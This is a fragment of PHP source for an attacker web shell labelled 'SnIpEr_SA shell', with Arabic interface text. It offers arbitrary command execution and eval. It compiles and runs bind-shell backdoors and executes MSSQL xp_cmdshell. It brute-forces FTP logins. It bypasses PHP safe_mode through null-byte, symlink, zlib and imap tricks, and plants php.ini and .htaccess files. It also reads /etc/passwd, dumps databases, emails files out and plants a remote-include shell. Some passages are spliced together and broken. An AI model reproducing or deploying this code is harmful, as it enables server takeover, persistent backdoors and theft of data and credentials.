$filedump = @fread($file,@filesize($_POST['loc_file']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
$attach = array(
"name"=>$filename,
"type"=>$mime_type,
"content"=>$filedump
);
if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; }
if(empty($_POST['from'])) { $_POST['from'] = '
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
'; }
$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
err(6+$res);
$_POST['cmd']="";
}
}
if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
{
$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
{
switch($_POST['what'])
{
case 'own':
@chown($_POST['param1'],$_POST['param2']);
break;
case 'grp':
@chgrp($_POST['param1'],$_POST['param2']);
break;
case 'mod':
@chmod($_POST['param1'],intval($_POST['param2'], 8));
break;
}
$_POST['cmd']="";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
{
switch($_POST['what'])
{
case 'file':
if($_POST['action'] == "create")
{
if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
else {
fclose($file);
$_POST['e_name'] = $_POST['mk_name'];
$_POST['cmd']="edit_file";
echo "".$lang[$language.'_text61']."
";
}
}
else if($_POST['action'] == "delete")
{
if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
$_POST['cmd']="";
}
break;
case 'dir':
if($_POST['action'] == "create"){
if(mkdir($_POST['mk_name']))
{
$_POST['cmd']="";
echo "".$lang[$language.'_text62']."
";
}
else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
}
else if($_POST['action'] == "delete"){
if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
$_POST['cmd']="";
}
break;
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
{
if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
else {
echo $table_up3;
echo $font;
echo "";
echo "
";
exit();
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
{
$mtime = @filemtime($_POST['e_name']);
if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
else {
if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
@fwrite($file,$_POST['e_text']);
@touch($_POST['e_name'],$mtime,$mtime);
$_POST['cmd']="";
echo "".$lang[$language.'_text45']."
";
}
}
if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
{
cf("/tmp/bd.c",$port_bind_bd_c);
$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
@unlink("/tmp/bd.c");
$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
$_POST['cmd']="ps -aux | grep bd";
$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
}
if (!empty($_POST['port1']))
{
cf("bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./bds ".$_POST['port1']." &");
$_POST['cmd']="echo \"Now script install backdoor connect to port ";
}else{
cf("/tmp/bds",$port_bind_bd_cs);
$blah = ex("chmod 777 bds");
$blah = ex("./tmp/bds ".$_POST['port1']." &");
}
if (!empty($_POST['php_ini1']))
{
cf("php.ini",$php_ini1);
$_POST['cmd']=" لايقاف السيف مود php.ini تم زرع ملف";
}
if (!empty($_POST['htacces']))
{
cf(".htaccess",$htacces);
$_POST['cmd']="لإيقاف المود سكيورتي htaccess تم زرع ملف";
}
if (!empty($_POST['file_ini']))
{
cf("ini.php",$sni_res);
$_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? كالتالي ss بالمتغير ini.php الأن قم بعمل انكلود لملف";
}
if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
{
$data = implode("", file($_POST['filefrom']));
$fp = fopen($_POST['fileto'], "wb");
fputs($fp, $data);
$ok = fclose($fp);
if($ok)
{
$size = filesize($_POST['fileto'])/1024;
$sizef = sprintf("%.2f", $size);
print "Download - OK.
(".$sizef."ê?)
Something is wrong. Download - IS NOT
OK
Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
@ftp_close($connection);
}
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
break;
case 'test4':
if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
if($db)
{
if(@mssql_select_db($_POST['test4_md'],$db))
{
@mssql_query("drop table SnIpEr_SA_temp_table",$db);
@mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db);
@mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
$res = mssql_query("select * from SnIpEr_SA_temp_table",$db);
while(($row=@mssql_fetch_row($res)))
{
echo $row[0]."\r\n";
}
@mssql_query("drop table SnIpEr_SA_temp_table",$db);
}
else echo "[-] ERROR! Can't select database";
@mssql_close($db);
}
else echo "[-] ERROR! Can't connect to MSSQL server";
break;
case 'test5':
if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
$extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
@mb_send_mail(NULL, NULL, NULL, NULL, $extra);
$lines = file ('/tmp/mb_send_mail');
foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
break;
case 'test6':
$stream = @imap_open('/etc/passwd', "", "");
$dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
@imap_close($stream);
break;
case 'test7':
$stream = @imap_open($_POST['test7_file'], "", "");
$str = @imap_body($stream, 1);
echo $str;
@imap_close($stream);
break;
case 'test8':
if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
else echo $lang[$language.'_text119'];
break;
case 'cURL':
if(empty($_POST['SnIpEr_SA'])){
} else {
$curl=$_POST['SnIpEr_SA'];
$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
echo "";
}
break;
case 'copy':
if(empty($snn)){
if(empty($_GET['snn'])){
if(empty($_POST['snn'])){
} else {
$u1p=$_POST['snn'];
}
} else {
$u1p=$_GET['snn'];
}
}
$u1p=""; // File to Include... or use _GET _POST
$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$snn, $temp)){
$zrodlo = fopen($temp, "r");
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo "".htmlspecialchars($tekst)."";
unlink($temp);
echo "";
}
break;
case 'ini_restore':
if(empty($_POST['ini_restore'])){
} else {
$ini=$_POST['ini_restore'];
echo ini_get("safe_mode");
echo ini_get("open_basedir");
require_once("$ini");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
echo "";
}
break;
case 'glob':
function reg_glob()
{
$chemin=$_REQUEST['glob'];
$files = glob("$chemin*");
foreach ($files as $filename) {
echo "$filename\n";
}
}
if(isset($_REQUEST['glob']))
{
reg_glob();
}
break;
case 'zend':
if(empty($_POST['zend'])){
} else {
$dezend=$_POST['zend'];
include($_POST['zend']);
print_r($GLOBALS);
require_once("$dezend");
echo "";
}
break;
case 'sym1':
if(empty($_POST['sym1p'])){
} else {
$symp=$_POST['sym1p'];
}
if(empty($_POST['sym1p2'])){
} else {
$symp2=$_POST['sym1p2'];
symlink("a/a/a/a/a/a/", "dummy");
symlink("dummy".$symp2."".$symp."", "xxx");
unlink("dummy");
while (1) {
symlink(".", "dummy");
}
}
break;
case 'sym2':
@include(xxx);
break;
case 'plugin':
if ($_POST['plugin'] ){
for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\n";
}
}
echo "";
}
break;
case 'command':
if (!empty($_POST['command'])) {
if ($method=="system") {
system($_POST['command']);
echo "Functions system";
}
if ($method=="passthru") {
passthru($_POST['command']);
echo "Functions passthru";
}
if ($method=="exec") {
$string = exec($_POST['command']);
echo $string;
echo "Functions exec";
}
if ($method=="shell_exec") {
$string = shell_exec($_POST['command']);
echo $string;
echo "Functions shell_exec";
}
if ($method=="popen") {
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
echo "Functions popen";
}
if ($method=="proc_open") {
$command = isset($_POST['command']) ? $_POST['command'] : '';
/* Load the configuration. */
/* Default settings --- these settings should always be set to something. */
/* Merge settings. */
session_start();
if (!empty($command)) {
/* Save the command for late use in the JavaScript. If the command is
* already in the history, then the old entry is removed before the
* new entry is put into the list at the front. */
if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_POST['command']);
/* Now append the commmand to the output. */
$_SESSION['output'] .= '$ ' . $_POST['command'] . "\n";
/* Initialize the current working directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) {
$_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) {
/* The current command is a 'cd' command which we have to handle
* as an internal shell command. */
if ($regs[1]{0} == '/') {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
}
/* Transform '/./' into '/' */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace('/./', '/', $new_dir);
/* Transform '//' into '/' */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', '/', $new_dir);
/* Transform 'x/..' into '' */
while (preg_match('|/\.\.(?!\.)|', $new_dir))
$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* Try to change directory. */
if (@chdir($new_dir)) {
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
}
} elseif (trim($_POST['command']) == 'exit') {
logout();
} else {
/* The command is not an internal command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION['cwd']);
// We canot use putenv() in safe mode.
if (!ini_get('safe_mode')) {
// Advice programs (ls for example) of the terminal size.
putenv('ROWS=' . $rows);
putenv('COLUMNS=' . $columns);
}
/* Alias expansion. */
$length = strcspn($_POST['command'], " \t");
$token = substr($_POST['command'], 0, $length);
if (isset($ini['aliases'][$token]))
$command = $ini['aliases'][$token] . substr($_POST['command'], $length);
$io = array();
$p = proc_open($_POST['command'],
array(1 => array('pipe', 'w'),
2 => array('pipe', 'w')),
$io);
/* Read output sent to stdout. */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
ENT_COMPAT, 'UTF-8');
}
/* Read output sent to stderr. */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
}
}
/* Build the command history for use in the JavaScript */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
}
}
break;
}
}
if ($_POST['cmd']=="ftp_brute")
{
$suc = 0;
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
@ftp_close($connection);
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST['reverse'])) { $count *= 2; }
echo $lang[$language.'_text97'].$count."\r\n";
echo $lang[$language.'_text98'].$suc."\r\n";
}
if ($_POST['cmd']=="php_eval"){
$eval = @str_replace("","",$eval);
@eval($eval);}
if ($_POST['cmd']=="mysql_dump")
{
if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
else {
if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
else { echo "[-] ERROR! Can't write in dump file"; }
}
}
echo "
";
echo "";
echo "
";
echo "";
function div_title($title, $id)
{
return ''.$title.' ';
}
function div($id)
{
if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
return '
';
}
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'
'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'
".$lang[$language.'_text16'].$arrow." ","
".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text3'].$arrow." ".in('text','command',54,(!empty($_POST['command'])?($_POST['command']):("id"))).in('hidden','cmd',0,'command').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text223'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"".$lang[$language.'_text16'].$arrow." ","
".in('hidden','file',0,$dir).ws(2)."".$lang[$language.'_text202'].$arrow." ".in('text','file',41,'/etc/passwd').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text202'].$arrow." ","/etc/passwd ".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ");
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysqlb').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
{
echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"".$lang[$language.'_text205'].$arrow." ",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'تم زرع الشل وبإمكانك استخدامه filename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text206'].$arrow." ",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"".$lang[$language.'_text206'].$arrow." ",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id11').$table_up2.div('id11').$ts;
echo "";
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
echo $table_up1.div_title($lang[$language.'_text211'],'id21').$table_up2.div('id21').$ts."".$fs."".$ts;
echo "".$lang[$language.'_text212']."
".$lang[$language.'_text20'].$arrow." ",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "".$lang[$language.'_text213']."
".$lang[$language.'_text20'].$arrow." ",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "".$lang[$language.'_text218']."
".$lang[$language.'_text20'].$arrow." ",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text221'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"".$lang[$language.'_text16'].$arrow." ",in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','funzip',78,"$dir/file"));
echo sr(15,"".$lang[$language.'_text65'].$arrow." ",in('text','fzip',105,"$dir/sploitz.zip").ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.''.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text219'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"".$lang[$language.'_text16'].$arrow." ",in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','filefrom',78,'http://website.com/file.txt'));
echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('text','fileto',105,filename_.php).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.''.$table_end1.$fe;
$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
{
$aliases2 .= "$alias_name ";
}
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.''.$table_end1.$fe;
if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
echo $te.''.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "".div('id9')."";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "
";
echo $table_end1.$fe;
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "";
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode&&$unix&&function_exists('mb_send_mail')){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_list')){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_body')){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"".$lang[$language.'_text117'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.''.$table_end1.$fe;
}
if(@ini_get('file_uploads')){
echo "";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.''.$table_end1.$fe;
}
if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.''.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
